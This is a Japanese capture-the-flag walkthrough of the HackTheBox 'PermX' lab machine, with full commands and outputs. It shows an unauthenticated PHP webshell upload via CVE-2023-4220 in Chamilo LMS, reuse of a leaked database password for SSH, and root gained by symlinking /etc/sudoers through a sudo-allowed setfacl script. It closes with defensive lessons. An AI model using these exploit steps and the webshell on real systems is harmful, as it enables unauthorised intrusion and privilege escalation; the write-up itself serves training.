HackTheBox: PermX — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80 + 302リダイレクト
→
22/80 + 302リダイレクト
vhost発見
permx.htb / lms.permx.htb (Chamilo)
→
permx.htb / lms.permx.htb (Chamilo)
CVE-2023-4220
bigUpload.php 未認証webshell
→
bigUpload.php 未認証webshell
www-data RCE
configuration.php 読取
→
configuration.php 読取
db_password流用
03F6lY3uXAP2bkW8
→
03F6lY3uXAP2bkW8
mtz SSH
user.txt ✓
→
user.txt ✓
sudo /opt/acl.sh
setfaclのシンボリックリンク追跡
→
setfaclのシンボリックリンク追跡
/etc/sudoers書換
mtz ALL NOPASSWD: ALL
→
mtz ALL NOPASSWD: ALL
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バージョン検出
BASH
nmap -sV -sC -p- --min-rate 2000 -oN nmap/allports.txt 10.129.92.205
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA) |_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://permx.htb |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: ポート80へアクセスすると
Location: http://permx.htb への
302リダイレクトが発生する(=名前ベースの仮想ホストでホスト名解決必須)。
IPアドレス直打ちではコンテンツを閲覧できない。
/etc/hosts へドメインを登録
BASH
echo "10.129.92.205 permx.htb" | sudo tee -a /etc/hosts curl -s -I http://permx.htb
RESULT
HTTP/1.1 200 OK
Date: Thu, 29 Oct 2026 22:08:xx GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Type: text/html; charset=UTF-8
<title>eLEARNING</title> ← 静的サイト(/var/www/html の "eLEARNING" テンプレート)
PHASE 2
サブドメイン(vhost)調査 — lms.permx.htb の発見
ffuf によるvhost(サブドメイン)ブルートフォース
BASH
# まずベースラインサイズを取得(存在しないホストのレスポンス長)
curl -s -o /dev/null -w '%{size_download}' -H "Host: doesnotexist.permx.htb" http://10.129.92.205
# -> 279
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://10.129.92.205 -H "Host: FUZZ.permx.htb" -fs 279 -t 50
RESULT
lms [Status: 302, Size: 0, Words: 1, Lines: 1]
→ Location: http://lms.permx.htb/index.php
ℹ️
lms.permx.htb(Learning Management System)を発見。/etc/hosts に追記して解決可能にする。
lms.permx.htb へアクセス — Chamilo LMS を確認
BASH
echo "10.129.92.205 lms.permx.htb" | sudo tee -a /etc/hosts curl -s http://lms.permx.htb/ | grep -i chamilo curl -s http://lms.permx.htb/documentation/changelog.html | head -5
RESULT
<meta name="generator" content="Chamilo 1.11.24">
...
<h2>Chamilo LMS 1.11.24 - Changelog</h2>
✅
Chamilo LMS バージョン 1.11.24 が稼働していることをログインページ/ドキュメントの
Changelog から確定。このバージョンに既知の未認証RCEが存在する。
PHASE 3
脆弱性の特定 — CVE-2023-4220 (Chamilo bigUpload)
CVE調査
NOTE
"Chamilo 1.11.24 vulnerability" で検索すると複数のCVEが見つかるが、大半は認証後
(講師/管理者権限)が前提。未認証で使えるのは CVE-2023-4220 のみ。
CVE-2023-4220(StarLabs SG Advisory):
- main/inc/lib/javascript/bigupload/inc/bigUpload.php の
action=post-unsupported パスに、ファイル名・拡張子の検証が無い
まま任意ファイルを main/inc/lib/javascript/bigupload/files/ 配下へ
保存してしまう脆弱性。
- .php 拡張子のファイルをアップロードし、そのままWebルート配下から
直接実行できるため、認証不要のWebシェル設置=RCEに直結する。
- 前提条件: main/inc/lib/javascript/bigupload/files ディレクトリが
存在し書込可能であること(Chamilo 1.11.x では標準で存在)。
PHASE 4
エクスプロイト実行 & user.txt 取得
PHP Webシェルを作成し未認証アップロード
BASH
echo '<?php system($_GET["cmd"]); ?>' > permx_shell.php curl -s -F 'bigUploadFile=@permx_shell.php;filename=permx_shell.php' \ 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
RESULT
The file has successfully been uploaded.
Webシェル動作確認 — RCE成功
BASH
curl -s 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/permx_shell.php?cmd=id'
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
未認証RCE成功! 認証も講師権限も不要、ファイルアップロード1本で
www-data としての任意コマンド実行を獲得した。
Chamilo設定ファイルから DB パスワードを窃取
BASH
curl -s 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/permx_shell.php?cmd=cat%20/var/www/chamilo/app/config/configuration.php'
RESULT
<?php
// Chamilo version 1.11.24
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
$_configuration['root_web'] = 'http://lms.permx.htb/';
ログイン可能なユーザーを列挙
BASH
curl -s 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/permx_shell.php?cmd=cat%20/etc/passwd' \ | grep -E '/bin/bash|/bin/sh'
RESULT
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
ℹ️
ログインシェルを持つ一般ユーザーは
mtz のみ。DBパスワードの再利用を試す。
パスワード再利用でSSHログイン & user.txt 取得
BASH
sshpass -p '03F6lY3uXAP2bkW8' ssh mtz@10.129.92.205 'id; cat ~/user.txt'
RESULT
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz) 7bcf51a33247bca1f296a487303ed712
user.txt — mtz
7bcf51a33247bca1f296a487303ed712
✅
Chamilo DB用パスワード
03F6lY3uXAP2bkW8 が mtz のSSHパスワードとしても
そのまま再利用されていた。設定ファイル漏洩がそのまま横移動に直結する典型例。
PHASE 5
権限昇格の下調べ — sudo /opt/acl.sh
sudo -l で許可されたコマンドを確認
BASH
mtz@permx:~$ sudo -l
RESULT
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
🚨
mtz はパスワード無しで /opt/acl.sh を root権限で実行できる。
スクリプトの内容を確認する。
/opt/acl.sh の内容を確認
BASH
mtz@permx:~$ cat /opt/acl.sh
RESULT
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Error: Target must be a regular file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
ℹ️
ロジックの弱点:
しかし Bash の
target が /home/mtz/ 配下で始まり、
文字列 .. を含まないこと、かつ [ -f "$target" ](通常ファイルであること)
だけをチェックしている。しかし Bash の
test / [ -f ] はシンボリックリンクを自動的に
辿って(dereference して)判定する。つまり /home/mtz/evil -> /etc/sudoers
のようなシンボリックリンクを作れば、target 文字列自体は
/home/mtz/evil(チェックを通過)でありながら、最終的に
setfacl が操作する実体は リンク先の /etc/sudoers になる。
パス文字列の検証とファイルシステムの実体解決がズレていることが根本原因(典型的な
TOCTOU/シンボリックリンク追跡の脆弱性)。
PHASE 6
シンボリックリンク追跡による /etc/sudoers 書換 → root.txt
/etc/sudoers へのシンボリックリンクを作成
BASH
mtz@permx:~$ ln -s /etc/sudoers /home/mtz/.rootlink mtz@permx:~$ ls -l /home/mtz/.rootlink
RESULT
lrwxrwxrwx 1 mtz mtz 12 Oct 29 22:09 /home/mtz/.rootlink -> /etc/sudoers
acl.sh 経由で mtz に /etc/sudoers への rw ACL を付与
BASH
mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/.rootlink mtz@permx:~$ getfacl /etc/sudoers
RESULT
# file: etc/sudoers
# owner: root
# group: root
user::rw-
user:mtz:rw-
group::r--
mask::rw-
other::---
✅
acl.sh のパス検証をシンボリックリンクで迂回し、本来 root 専用の
/etc/sudoers に mtz の 読み書き権限を付与できた。
sudoers に自分自身へのフル権限行を追記
BASH
mtz@permx:~$ echo 'mtz ALL=(ALL:ALL) NOPASSWD: ALL' >> /home/mtz/.rootlink mtz@permx:~$ sudo -l
RESULT
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
(ALL) NOPASSWD: ALL
✅
/etc/sudoers への書込み権限を得たことで、任意の行を追記するだけで
自分に無制限の sudo 権限を付与できる。visudo による構文チェックを経由しない
直接追記だが、追記内容自体の構文が正しければ sudo は問題なく読み込む。
root として root.txt 取得
BASH
mtz@permx:~$ sudo -n cat /root/root.txt # あるいは対話シェルを取得する場合 mtz@permx:~$ sudo -i root@permx:~# cat /root/root.txt
RESULT
9623ac14db8b00ccd3c30bcb862fe0d8
root.txt — root@permx
9623ac14db8b00ccd3c30bcb862fe0d8
補足: /etc/passwd 経由でも同じ結果が得られる
NOTE
/etc/sudoers の代わりに /etc/passwd へ同じ手順(symlink + acl.sh で rw 付与)を適用し、 openssl passwd -1 で生成したハッシュを使って uid=0/gid=0 の新規ユーザー行を追記、 su で切り替える方法でも root 化できる(本質的に同じシンボリックリンク追跡の脆弱性)。 ただし /root/root.txt を直接シンボリックリンクで指定する方法は失敗する: mtz@permx:~$ ln -s /root/root.txt mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/root.txt mtz@permx:~$ cat root.txt cat: root.txt: Permission denied 理由: /root ディレクトリ自体に mtz の実行(x)権限が無いため、root.txt 単体に ACLで read 権限を付けても mtz は /root ディレクトリを辿れずファイルへ到達できない。 sudoers/passwd のように「rootとして任意コマンドを実行できる状態」を作る方法だけが 有効(root自身は /root に当然アクセスできるため)。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — mtz
7bcf51a33247bca1f296a487303ed712
root.txt — root@permx
9623ac14db8b00ccd3c30bcb862fe0d8
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2023-4220 | Chamilo LMS 1.11.24 (bigUpload.php) | 未認証リモートコード実行 | Critical | action=post-unsupported パスにファイル名検証無しでアップロード、.php拡張子のWebシェルをそのまま配置・実行 |
| 認証情報の再利用 | configuration.php の db_password | 横移動(www-data → mtz) | Medium | DB接続用パスワードがOSユーザー mtz のSSHパスワードとしても使われていた |
| シンボリックリンク追跡 / パス検証バイパス | /opt/acl.sh (sudo NOPASSWD) | 権限昇格(mtz → root) | High | [[ “$target” != /home/mtz/* ]] のパス文字列チェックのみで、[ -f ] がシンボリックリンクを辿って実体を解決する点を悪用し /etc/sudoers を書換 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + バージョンスキャン | 22/80、80番で permx.htb への302リダイレクト検出 |
| 2 | vhost調査 | ffuf Host-headerブルートフォース | lms.permx.htb(Chamilo LMS 1.11.24)を発見 |
| 3 | CVE特定 | バージョン情報からの脆弱性調査 | CVE-2023-4220(未認証ファイルアップロードRCE) |
| 4 | エクスプロイト | bigUpload.php webシェルアップロード + configuration.php読取 | user.txt 取得(db_password再利用でmtz SSH) |
| 5 | 権限調査 | sudo -l + acl.sh ソース解析 | パス検証バイパス可能なシンボリックリンク脆弱性を発見 |
| 6 | 権限昇格 | symlink(/etc/sudoers) + acl.sh + 追記 | root.txt 取得(NOPASSWD ALL化) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Chamilo LMS のファイルアップロード機能(bigUpload.php)に拡張子・内容検証が無く、未認証で到達可能 | Chamilo を既知CVE修正済みの最新バージョンへアップデートする。アップロードディレクトリでPHPの実行を無効化(.htaccess等)し、許可拡張子のホワイトリスト検証を行う。 |
| アプリケーションのDB接続パスワードをOSユーザーのログインパスワードに再利用 | 用途ごとに異なる認証情報を発行する。設定ファイル(configuration.php)はWebサーバーの実行ユーザーのみが読めるよう権限を絞り、バージョン管理や漏洩経路を遮断する。 |
| sudo で許可したカスタムスクリプト(acl.sh)のパス検証がシンボリックリンクの実体解決を考慮していない | realpathで正規化した絶対パスを検証に使う、[ -L ]でシンボリックリンクそのものを拒否する、root権限が必要な操作を外部スクリプトに委譲する設計自体を避ける。 |

